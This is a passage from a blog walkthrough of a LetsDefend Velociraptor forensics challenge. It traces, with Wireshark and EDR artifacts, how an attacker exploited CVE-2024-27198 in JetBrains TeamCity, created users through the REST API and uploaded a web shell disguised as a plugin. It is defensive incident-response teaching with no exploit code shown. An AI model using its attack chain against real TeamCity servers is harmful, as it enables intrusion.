width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2181px&#34; data-flex-grow=&#34;909&#34; height=&#34;88&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/47ee1015dd55bbe508b79ae25e873cf8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-the-web-server-was-running-on-a-container-what-is-the-parent-process-id-of-the-container-ppid&#34;&gt;Question 3: The web server was running on a container. What is the parent process ID of the container (PPID)?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, our next objective is to determine what container service the victim web server was running. As we continue exploring the &lt;em&gt;Velociraptor&lt;/em&gt; artifacts, we&amp;rsquo;ll stumble on the results directly, with several logs referencing &lt;em&gt;Docker&lt;/em&gt;, a common containerization service.&lt;/p&gt;&#xA;&lt;p&gt;Since we&amp;rsquo;re interested in the parent process ID (PPID) of the container service process, let&amp;rsquo;s open the process list artifact: &lt;code&gt;Linux.Sys.Pslist.json&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;431px&#34; data-flex-grow=&#34;179&#34; height=&#34;445&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/0cee3d2bbf13f6c60f2bd5fc20f244ca_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Locating the Linux.Sys.Pstlist.json file&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/results/Linux.Sys.Pslist.json&lt;/p&gt;&#xA;&lt;p&gt;With the log file open, let&amp;rsquo;s simply use the find function (&lt;code&gt;CTRL+F&lt;/code&gt;) and search for &lt;em&gt;docker&lt;/em&gt; to help us locate relevant entries. Because we&amp;rsquo;re investigating suspicious network traffic on the web server, we&amp;rsquo;ll focus on the &lt;code&gt;docker-proxy&lt;/code&gt; process (line 80) which is responsible for forwarding network traffic to the proper container.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;491px&#34; data-flex-grow=&#34;204&#34; height=&#34;391&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/7bec433bfc16a304e2563a4a6fd27391_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying Docker processes in the Linux.Sys.Pslist.json log&lt;/p&gt;&#xA;&lt;p&gt;After examining the &lt;code&gt;Ppid&lt;/code&gt; value, we can see that the parent process ID is &lt;code&gt;5123&lt;/code&gt;, which corresponds to the &lt;code&gt;dockerd&lt;/code&gt; service.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2181px&#34; data-flex-grow=&#34;909&#34; height=&#34;88&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/7f4155460b916cb57baf0d94f2817a51_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-docker-version-that-is-running-the-webserver&#34;&gt;Question 4: What is the docker version that is running the web server?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, now that we understand the web server was running on a &lt;em&gt;Docker&lt;/em&gt; container, we can start determining which exploit the web server might&amp;rsquo;ve been vulnerable to. But first, we need to identify which &lt;em&gt;Docker&lt;/em&gt; version was in use.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we&amp;rsquo;ll use one of the available &lt;em&gt;Docker&lt;/em&gt;-related logs in the results folder: &lt;code&gt;Linux.Applications.Docker.Version.json&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/results/Linux.Applications.Docker.Version.json&lt;/p&gt;&#xA;&lt;p&gt;Inside this log, we&amp;rsquo;ll find the version string identifying the &lt;em&gt;Docker&lt;/em&gt; version as &lt;code&gt;26.1.2&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/5d6153687e4003b2ea017d16ae902d67_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying Docker processes in the Linux.Applications.Docker.Version log&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2133px&#34; data-flex-grow=&#34;888&#34; height=&#34;90&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/d1c062e81a5561e533b14a850423e4f3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-ip-address-of-the-attacker&#34;&gt;Question 5: What is the IP address of the attacker?&#xA;&lt;/h3&gt;&lt;p&gt;Moving right along! Our next task is to discover the IP address of the attacker. This is a key step in correlating with any other activity performed by the attacker. But first, let&amp;rsquo;s identify the local IP of the victim web server so we can better understand our environment. For this, we&amp;rsquo;ll look at the &lt;code&gt;Linux.Network.Netstat.json&lt;/code&gt; artifact in the results folder.&lt;/p&gt;&#xA;&lt;p&gt;By examining the contents of this log, we can determine the LocalAddr of the client the Velociraptor logs were collected from — 172.31.29.22.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;853px&#34; data-flex-grow=&#34;355&#34; height=&#34;225&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/b0669b5cdaa7f4704a837c09d57c53e3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying Docker processes in the Linux.Network.Netstat log&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve identified the local client IP, we&amp;rsquo;ll need to examine the network packet captures to uncover the attacker&amp;rsquo;s IP.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, &lt;em&gt;Velociraptor&lt;/em&gt; also performs a network traffic capture and saves this data as a PCAP file that can be examined with a tool like &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/a&gt;. We&amp;rsquo;ll find the &lt;code&gt;CaptureTraffic.pcap&lt;/code&gt; file in the directory below. Double-click the file to open it with &lt;em&gt;Wireshark&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;483px&#34; data-flex-grow=&#34;201&#34; height=&#34;397&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/033824b172200f58b4551767dc8b3a3b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/uploads/auto/tmp/CaptureTraffic.pcap&lt;/p&gt;&#xA;&lt;p&gt;With the PCAP open, we&amp;rsquo;ll use &lt;em&gt;Wireshark&amp;rsquo;s&lt;/em&gt; Endpoint Statistics view to get a high-level survey of all IP addresses contained within the capture. To access this, press &lt;em&gt;Statistics&lt;/em&gt; and then select &lt;em&gt;Endpoints&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1684px&#34; data-flex-grow=&#34;701&#34; height=&#34;114&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/959e1f85ebeec7a2c7f3b6efb105d500_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Accessing the Endpoint Statistics view&lt;/p&gt;&#xA;&lt;p&gt;Check the tab labeled &lt;em&gt;IPv4&lt;/em&gt;. This shows us that there are 88 host IPs contained in the log — so how do we determine which one belongs to the attacker? For this, we&amp;rsquo;ll sort by the total number of packets to surface the top traffic endpoints to the top of the list.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;322px&#34; data-flex-grow=&#34;134&#34; height=&#34;595&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/ab32673cf0443f9ea8849d69801e4df3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying the top traffic endpoints&lt;/p&gt;&#xA;&lt;p&gt;This method helps us quickly identify the most active IP addresses, which we can then check against external threat intelligence services to search for indicators of malicious activity.&lt;/p&gt;&#xA;&lt;p&gt;For example, the second entry on the list is an external IP address — &lt;code&gt;95[.]164[.]9[.]144&lt;/code&gt;. This IP is the top external talker. Let&amp;rsquo;s see what additional information we can find about it.&lt;/p&gt;&#xA;&lt;p&gt;While there are plenty of excellent threat intelligence services, we&amp;rsquo;ll use &lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ipinfo.io&lt;/strong&gt;&lt;/a&gt; to get an overview of this IP address and &lt;a class=&#34;link&#34; href=&#34;https://socradar.io/labs/soc-tools/ip-reputation&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;SOC Radar&amp;rsquo;s IOC Radar&lt;/strong&gt;&lt;/a&gt; to uncover threat intelligence.&lt;/p&gt;&#xA;&lt;p&gt;Checking &lt;em&gt;IPinfo&lt;/em&gt; first, we&amp;rsquo;ll see that this IP address is part of the &lt;a class=&#34;link&#34; href=&#34;https://krebsonsecurity.com/2024/05/stark-industries-solutions-an-iron-hammer-in-the-cloud/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Stark-Industries Solutions ASN&lt;/strong&gt;&lt;/a&gt;, a well-known bulletproof hosting provider of VPN and proxy services. That&amp;rsquo;s already suspicious&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/bb4383f51f57be0796e2fc0013b2f3e3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;IPinfo: &lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/95.164.9.144?lookup_source=search-bar&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ipinfo.io/95.164.9.144?lookup_source=search-bar&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Next, checking &lt;em&gt;SOC Radar&lt;/em&gt;, we&amp;rsquo;ll discover that this IP address is also associated with some suspicious activities.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;583px&#34; data-flex-grow=&#34;243&#34; height=&#34;329&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/6234aae58b9b13ba182275e519163612_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SOCRadar: &lt;a class=&#34;link&#34; href=&#34;https://socradar.io/labs/app/ioc-radar/95.164.9.144&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://socradar.io/labs/app/ioc-radar/95.164.9.144&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For the purposes of our investigation, the combination of the volume of traffic in the network logs, the IP&amp;rsquo;s ASN, and the threat intelligence verdict is enough to reasonably guess that this is the attacker&amp;rsquo;s IP. We&amp;rsquo;ll confirm this through additional activities later.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/69b7d2f867eb9c15f65e6132fdccef05_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-to-determine-if-there-are-any-exploits-targeting-the-server-identify-the-build-version-of-the-web-server-service-what-is-the-buildversion&#34;&gt;Question 6: To determine if there are any exploits targeting the server, identify the build version of the web server service. What is the build version?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified the attacker&amp;rsquo;s IP address, it&amp;rsquo;s time to dig a little deeper into the packet captures to determine what activities were performed. As a starting point, we need to find the build version of the web server service.&lt;/p&gt;&#xA;&lt;p&gt;From our &lt;em&gt;Endpoint Statistics&lt;/em&gt; window in &lt;em&gt;Wireshark&lt;/em&gt;, right-click the attacker&amp;rsquo;s IP address and add it as a filter. This will isolate traffic related to that IP in the &lt;em&gt;Wireshark&lt;/em&gt; window. From there, right-click a packet (I used packet number &lt;code&gt;4040&lt;/code&gt;) and select &lt;em&gt;Follow &amp;gt; TCP Stream&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;897px&#34; data-flex-grow=&#34;373&#34; height=&#34;214&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/d9950ed73d5249e95216da271e44529c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Filtering the attacker&amp;rsquo;s IP and following the TCP stream&lt;/p&gt;&#xA;&lt;p&gt;While there&amp;rsquo;s a ton of information to sift through, we&amp;rsquo;ll stay focused on &lt;strong&gt;Question 6&lt;/strong&gt; and look for the build number by using the search box at the bottom of the pane and entering &lt;code&gt;buildnumber&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;512px&#34; data-flex-grow=&#34;213&#34; height=&#34;375&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/1172fc399fd57bd6336679214e3ded42_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Discovering the TeamCity server build number&lt;/p&gt;&#xA;&lt;p&gt;This search brings us directly to a segment that gives us extremely helpful information: the server is a &lt;strong&gt;JetBrains TeamCity&lt;/strong&gt; instance with a build number of &lt;code&gt;147512&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2181px&#34; data-flex-grow=&#34;909&#34; height=&#34;88&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/2b60e6be6294f003f1cfd1453f94dae6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-the-attacker-took-advantage-of-a-known-exploit-to-that-version-of-the-service-what-is-the-cve-number-for-the-exploit-that-heused&#34;&gt;Question 7: The attacker took advantage of a known exploit to that version of the service. What is the CVE number for the exploit that he used?&#xA;&lt;/h3&gt;&lt;p&gt;From the information we discovered in &lt;strong&gt;Question 6&lt;/strong&gt;, we now have enough evidence to start tying things together and identifying which CVE was exploited.&lt;/p&gt;&#xA;&lt;p&gt;For background, &lt;strong&gt;TeamCity&lt;/strong&gt; is a CI/CD platform for software development. If we do a quick search for &lt;em&gt;TeamCity Server build 147512&lt;/em&gt;, we&amp;rsquo;ll immediately find dozens of entries discussing exploitation of vulnerable &lt;em&gt;TeamCity&lt;/em&gt; servers.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1263px&#34; data-flex-grow=&#34;526&#34; height=&#34;152&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/cddc7da792d6025ea332c34c158f8fa3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For this walkthrough, I&amp;rsquo;ll be referencing the excellent blog post from &lt;strong&gt;Rapid7&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/&#34;  title=&#34;https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities | Rapid7 Blog&lt;/strong&gt;&#xA;_In February 2024, Rapid7&amp;rsquo;s vulnerability research team identified two new vulnerabilities affecting JetBrains TeamCity&amp;hellip;_www.rapid7.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Rapid7 post documents some important details related to our investigation.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;In February 2024, Rapid7&amp;rsquo;s vulnerability research team identified two new vulnerabilities affecting JetBrains TeamCity CI/CD server:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;CVE-2024€“27198&lt;/strong&gt; is an authentication bypass vulnerability in the web component of TeamCity that arises from an alternative path issue (&lt;a class=&#34;link&#34; href=&#34;https://cwe.mitre.org/data/definitions/288.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;CWE-288&lt;/a&gt;) and has a CVSS base score of 9.8 (Critical).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;CVE-2024€“27199&lt;/strong&gt; is an authentication bypass vulnerability in the web component of TeamCity that arises from a path traversal issue (&lt;a class=&#34;link&#34; href=&#34;https://cwe.mitre.org/data/definitions/22.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;CWE-22&lt;/a&gt;) and has a CVSS base score of 7.3 (High).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Both vulnerabilities are authentication bypass vulnerabilities, the most severe of which, &lt;strong&gt;CVE-2024€“27198&lt;/strong&gt;, allows for a complete compromise of a vulnerable TeamCity server by a remote unauthenticated attacker, including unauthenticated RCE&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Given that our server is running build &lt;code&gt;147512&lt;/code&gt;, which falls below the patched version &lt;code&gt;2023.11.4&lt;/code&gt;, and considering the nature of the attack and the volume of traffic observed, it&amp;rsquo;s highly likely that &lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-27198&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CVE-2024-27198&lt;/strong&gt;&lt;/a&gt; was used to compromise the web server.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2157px&#34; data-flex-grow=&#34;898&#34; height=&#34;89&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/ddc40200e9dc58295e89c59ffa99f202_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-the-attacker-created-multiple-usernames-and-passwords-on-the-service-what-is-the-first-username-and-passwordcreated&#34;&gt;Question 8: The attacker created multiple usernames and passwords on the service. What is the first username and password created?&#xA;&lt;/h3&gt;&lt;p&gt;We now understand that the &lt;em&gt;TeamCity&lt;/em&gt; &lt;em&gt;server&lt;/em&gt; was compromised using &lt;em&gt;CVE-2024€“27198&lt;/em&gt; to achieve remote code execution. To answer &lt;strong&gt;Question 8&lt;/strong&gt;, we need to identify specific activities performed by the threat actor — including what user accounts were created.&lt;/p&gt;&#xA;&lt;p&gt;For this part of the analysis, we&amp;rsquo;ll jump back into &lt;em&gt;Wireshark&lt;/em&gt; and adjust our filter based on new details we discovered from the &lt;em&gt;Rapid7&lt;/em&gt; blog, including the protocol and port exposed by the &lt;em&gt;TeamCity&lt;/em&gt; web server:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;TeamCity exposes a web server over &lt;strong&gt;HTTP port 8111&lt;/strong&gt; by default (and can optionally be configured to run over HTTPS). An attacker can craft a URL such that all authentication checks are avoided, allowing endpoints that are intended to be authenticated to be accessed directly by an unauthenticated attacker. A remote unauthenticated attacker can leverage this to take complete control of a vulnerable TeamCity server.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Back in &lt;em&gt;Wireshark&lt;/em&gt;, let&amp;rsquo;s apply a filter to focus only on network activity from the attacker&amp;rsquo;s IP to the exposed port &lt;code&gt;8111&lt;/code&gt; over &lt;code&gt;http&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;tcp.port == 8111 &amp;amp;&amp;amp; http &amp;amp;&amp;amp; ip.src_host == 95.164.9.144&lt;/p&gt;&#xA;&lt;p&gt;With our new filters in place, we can scroll through the packets until we stumble upon a &lt;code&gt;POST&lt;/code&gt; request to the resource &lt;code&gt;/app/rest/users&lt;/code&gt;. This API endpoint appears to be used for user creation.&lt;/p&gt;&#xA;&lt;p&gt;Selecting the first one we found (packet &lt;code&gt;4814&lt;/code&gt;), we can confirm this as the packet details contain evidence of user creation and password assignment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;518px&#34; data-flex-grow=&#34;216&#34; height=&#34;370&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/7b60a16dcddfdecef6b4f2b19a5e4e34_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying user creation through a POST request&lt;/p&gt;&#xA;&lt;p&gt;This method provides a reliable way to track user creation at the packet level through HTTP &lt;code&gt;POST&lt;/code&gt; requests to the exposed port which we can use to determine the first user created and answer &lt;strong&gt;Question 8&lt;/strong&gt;. Good find!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/846985efc6f740959cb7d64dfc049279_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-the-attacker-used-the-newly-created-user-to-upload-a-web-shell-what-endpoint-was-used-to-upload-the-webshell&#34;&gt;Question 9: The attacker used the newly created user to upload a web shell. What endpoint was used to upload the web shell?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 9&lt;/strong&gt;, we need to identify the endpoint used to upload a web shell. Referring to the &lt;em&gt;Rapid7&lt;/em&gt; blog again, we learn that another post-exploitation indicator of compromise (IOC) in this attack is the upload of a malicious plugin.&lt;/p&gt;&#xA;&lt;p&gt;By searching for an endpoint in the &lt;em&gt;Wireshark&lt;/em&gt; traffic associated with this activity, we can determine which one was used. Scrolling through the packets, we stumble on packet &lt;code&gt;4939&lt;/code&gt;, which is an HTTP &lt;code&gt;POST&lt;/code&gt; request to the &lt;code&gt;/admin/pluginUpload.html&lt;/code&gt; endpoint — this seems to be the likely answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;516px&#34; data-flex-grow=&#34;215&#34; height=&#34;372&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/163c33091349299566557b2ce1d13221_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Finding evidence of an upload endpoint&lt;/p&gt;&#xA;&lt;p&gt;Based on the evidence, it seems that this endpoint is used to manage &lt;em&gt;TeamCity&lt;/em&gt; plugins and that the attacker&amp;rsquo;s web shell is disguised as a plugin.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1864px&#34; data-flex-grow=&#34;776&#34; height=&#34;103&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/11b2f909e7dad9b1be405205368909d0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-the-attacker-uploaded-a-web-shell-using-the-newly-created-user-what-is-the-full-url-of-the-uploaded-webshell&#34;&gt;Question 10: The attacker uploaded a web shell using the newly created user. What is the full URL of the uploaded web shell?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified the endpoint the web shell was uploaded to, we need to determine the full URL of the web shell itself. You may have noticed in &lt;strong&gt;Question 9&lt;/strong&gt; that the packet details included a filename: &lt;code&gt;5z6p8kCA.zip&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;516px&#34; data-flex-grow=&#34;215&#34; height=&#34;372&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 